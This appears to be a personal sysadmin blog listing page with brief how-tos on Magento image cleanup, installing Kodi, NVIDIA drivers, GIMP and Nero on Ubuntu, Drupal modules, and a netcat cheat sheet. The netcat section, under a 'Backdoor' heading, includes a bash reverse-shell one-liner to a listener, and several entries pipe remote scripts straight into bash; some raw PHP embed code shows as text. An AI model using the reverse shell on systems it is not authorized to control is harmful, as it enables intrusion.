Skip to main content

Primary links

  • Home
  • AI
  • Kubernetes
  • Incus
  • Ansible
  • Terraform
  • OpenStack
  • Virtualization
  • Linux
  • SmartHome
  • HowTo

Misc

  • Linux
  • Hardware
  • Programming
  • Databases
  • Multimedia
  • Windows

Cloud

  • OpenStack
  • cloud-config
  • nextcloud

Virtualization

  • Virtualization
  • Incus
  • Docker
  • KVM
  • Kubernetes
  • LXC
  • LXD
  • QEMU
  • VMware
  • VirtualBox
  • multipass
  • podman
  • vagrant
  • XEN

Network

  • DNS
  • Firewall
  • Linux
  • OpenvSwitch
  • SSL
  • VLAN
  • VPN
  • iPXE
  • namespaces
  • nmcli
  • tcpdump

Storage

  • CEPH
  • DRBD
  • LVM
  • S3
  • ZFS
  • btrfs

Automation / CI/CD

  • Install
  • Ansible
  • GitLab
  • LLM
  • Preseed
  • Puppet
  • Terraform
  • Ubuntu autoinstall

Monitoring / Visualisation

  • Grafana
  • Icinga
  • Prometheus
  • Monitoring
  • ELK
  • mermaid

Magento: Delete unused product images

<?php
$URL="https://raw.githubusercontent.com/panticz/magento/master/scripts/delete_unused_images.sh";

echo "<div><pre>";
</pre></div>

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
$result = curl_exec($ch);
curl_close($ch);
htmlspecialchars($result);

echo "";

?>

Links
http://www.magentocommerce.com/magento-connect/defcon2/extension/1147/image-clean/reviews#review_6087
http://stackoverflow.com/questions/4339699/delete-unused-product-images-in-magento

Install Kodi

Install stable version
<?php
$URL="https://raw.githubusercontent.com/panticz/installit/master/install.xbmc.sh";

echo "wget $URL -O - | bash -";
echo "<div><pre>";
</pre></div>

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $URL);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

echo htmlspecialchars(curl_exec($c));

curl_close($c);

echo "";

?>

install unstable version

wget http://installit.googlecode.com/hg/install.xbmc.sh -O /tmp/install.xbmc.sh

bash /tmp/install.xbmc.sh -u

Unofficial PVR repository

sudo add-apt-repository ppa:lars-opdenkamp/xbmc-pvr

XBMC standalone

sudo apt-get install -y xbmc xbmc-standalone

Configuring a Wii Remote
http://www.mini-itx.com/projects/xbmc-ion/module/6

Ubuntu: Install Nero Linux

Nero Download
http://www.nero.com/enu/downloads-linux4-trial.php

[embed_url: https://raw.githubusercontent.com/panticz/installit/master/install.nero.sh]

Extract Nero DOS bootimage

mkdir /tmp/nero
dpkg -x /tmp/nerolinux-x86_64.deb /tmp/nero
ls -l /tmp/nero/usr/share/nero/DosBootImage.ima

Ubuntu: Install NVIDIA proprietary video drivers

<?php
$URL="https://raw.githubusercontent.com/panticz/installit/master/install.nvidia-graphic.sh";

echo "wget $URL -O - | bash -";
echo "<div><pre>";
</pre></div>

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $URL);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

echo htmlspecialchars(curl_exec($c));

curl_close($c);

echo "";

?>

Drupal: Add XML Sitemap

get XML sitemap module for your Drupal
http://drupal.org/project/xmlsitemap - XML sitemap

/admin/build/modules
enable
XML sitemap
XML sitemap node

/admin/settings/xmlsitemap/settings
Advanced settings

/admin/content/node-type/page?destination=admin%2Fsettings%2Fxmlsitemap%2Fsettings
XML sitemap
Inclusion:
Included

/admin/content/node-type/webform?destination=admin%2Fsettings%2Fxmlsitemap%2Fsettings
XML sitemap
Inclusion:
Included

/admin/settings/xmlsitemap/rebuild
Rebuild sitemap

Links
www.google.com/webmasters/tools - Google Webmaster-Tools

Drupal: Add Google +1 Button

get Google Plus One module for your Drupal
http://drupal.org/project/google_plusone

/admin/build/modules
enable
Google Plus One +1

/admin/settings/google-plusone
Display the button on these content types:
enable
Page

Display the button in these view modes::
enable
Full node

Include count?:
No

Size:
select
Small (15px)

Optional wrapper with CSS:
margin: 4px 4px 14px 14px;float:right

/admin/user/permissions
google_plusone module
view google plusone
enable
anonymous user
authenticated user

Install DVD decryption library script

Add DVDs support
https://wiki.ubuntuusers.de/DVD-Wiedergabe/

sudo apt-get install libdvd-pkg 
sudo dpkg-reconfigure libdvd-pkg

[embed_url: https://raw.githubusercontent.com/panticz/installit/master/install.libdvdcss.sh]

Other method:
sudo apt-get install ubuntu-restricted-extras
sudo /usr/share/doc/libdvdread4/install-css.sh

Links
http://download.videolan.org/pub/libdvdcss/

Install Ubuntu restricted extras

# FIXME

<?php
$URL="https://raw.githubusercontent.com/panticz/installit/master/install.ubuntu-restricted-extras.sh";

echo "wget $URL -O - | bash -";
echo "<div><pre>";
</pre></div>

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $URL);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

echo htmlspecialchars(curl_exec($c));

curl_close($c);

echo "";

?>

Install Gimp from Ubuntu PPA

<?php
$URL="https://raw.githubusercontent.com/panticz/installit/master/install.gimp.sh";

echo "wget $URL -O - | bash -";
echo "<div><pre>";
</pre></div>

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $URL);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

echo htmlspecialchars(curl_exec($c));

curl_close($c);

echo "";

?>

Ansible
https://github.com/panticz/ansible/tree/master/roles/gimp
- hosts: localhost
roles:
- gimp

# OPTIONAL: enable single window mode

Menu Window > check "Single window mode"

# Links

https://launchpad.net/~matthaeus123/+archive/mrw-gimp-svn - Matt Walker Gimp PPA repository
http://www.webupd8.org/2009/08/how-to-install-gimp-27-in-ubuntu-jaunty.html
ftp://ftp.gimp.org/pub/gimp/v2.7/

netcat

Port test

# TCP port test
nc -l -p 8080 # server
nc ${SERVER_IP} 8080 # client

# UDP port test
nc -u -l -p 8080 # server
nc -u ${SERVER_IP} 8080 # client

without compression

# receiver
nc -l -p 1234 > out.file

# sender
nc -w 3 [destination] 1234 < out.file

with compression

# receiver 
nc -l -p 1234 | uncompress -c | tar xvfp -

# snder
tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

transfer disk image

On the sender end run,
dd if=/dev/hda3 | gzip -9 | nc -l 3333

# receiver
nc [destination] 3333 | pv -b > hdImage.img.gz

Backdoor

# @host 1
nc -lvp 5001

# @host 2
bash -i >& /dev/tcp/10.0.1.24/5001 0>&1

# @host 1
while :; do hostname; date; sleep 1; done

Test WebServer

echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 80 -q 1

Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/

Pagination

  • First page
  • Previous page
  • …
  • Page 37
  • Page 38
  • Page 39
  • Page 40
  • Page 41
  • Page 42
  • Page 43
  • Page 44
  • Page 45
  • …
  • Next page
  • Last page
Profiles GitHub StackOverflow LinkedIn Xing
Contact Imprint
© panticz 2026

Cookie-Einstellungen

Diese Website nutzt eingebettete Inhalte von Drittanbietern (z.B. YouTube, SoundCloud). Beim Laden dieser Inhalte werden Daten an die jeweiligen Anbieter übermittelt. Datenverarbeitungserklärung